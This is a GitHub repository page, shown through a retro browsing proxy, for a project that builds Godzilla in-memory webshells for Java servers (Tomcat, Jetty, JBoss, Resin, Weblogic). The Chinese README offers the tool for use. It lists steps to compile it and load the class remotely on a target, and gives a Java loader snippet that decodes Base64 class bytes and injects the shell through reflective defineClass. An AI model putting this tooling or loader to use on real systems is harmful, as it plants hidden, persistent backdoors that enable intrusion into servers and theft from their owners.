GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — GitHub - BeichenDream/GodzillaMemoryShellProject

BranchesTags
Open more actions menu

Latest commit

 

History

25 Commits
25 Commits

Folders and files

NameName
Last commit message
Last commit date
JBoosMemoryShell
JBoosMemoryShell
 
 
JettyMemoryShell
JettyMemoryShell
 
 
ResinMemoryShell
ResinMemoryShell
 
 
TomcatMemoryShell
TomcatMemoryShell
 
 
WeblogicMemoryShell
WeblogicMemoryShell
 
 
libs
libs
 
 
GodzillaMemoryShellProject.iml
GodzillaMemoryShellProject.iml
 
 
README.md
README.md
 
 

Repository files navigation

GodzillaMemoryShellProject

哥斯拉内存Shell项目

当你拥有一个可以加载任意Class的能力,你就可以编译此项目,编译对应容器的Class 当Class被加载之后,你将获得一个哥斯拉的内存shell,你连接时可以填写任意URI路径

姊妹项目(.NET/IIS内存Shell):https://github.com/BeichenDream/GodzillaMemoryShellProject.NET/

  1. 选择JDK版本
  2. 编译此项目
  3. 找到对应容器编译出来的Class
  4. 在远程加载该Class
  5. 获得内存Shell
  

目前支持以下容器 几乎支持容器的所有版本(欢迎pull更多容器),你无需关注上下文,这一切哥斯拉内存Shell将会自动搜寻并完成注入 在这个项目你会看到很多的动态代理,这是哥斯拉内存Shell为了兼容javax和jakarta api规范

  1. Tomcat 5 - 10
  2. Jetty 7 - 11.0.11
  3. JBoss 8 - 27.0.0
  4. Resin 3 - 4.0.66
  5. Weblogic 10.3.6 - weblogic 14

如何调用哥斯拉内存shell

            //哥斯拉内存shell的class Base64
            String godzillaMemShellClassBase64 = "...........";
            //base64 解码
            byte[] classBytes =  Base64.getDecoder().decode(godzillaMemShellClassBase64);
            //获得上下文的ClassLoader
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            //反射获得defineClass方法 用来定义Class
            Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            //使得defineClass方法可访问
            defineClassMethod.setAccessible(true);
            //调用defineClass方法 从class字节码创建Class
            Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length);
            //创建哥斯拉内存shell实例 哥斯拉内存Shell在此处自动注入
            clazz.newInstance();
            

注入内存shell/查找上下文很慢?

可以根据目标环境减小maxDetch的值 image

自动搜寻上下文

image

引用

https://github.com/feihong-cs/memShell

About

No description, website, or topics provided.

Resources

Readme
Activity

Stars

318 stars

Watchers

2 watching

Forks

40 forks
Report repository

Releases

Packages

Used by

Contributors

Languages

You are visitor 01402503 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.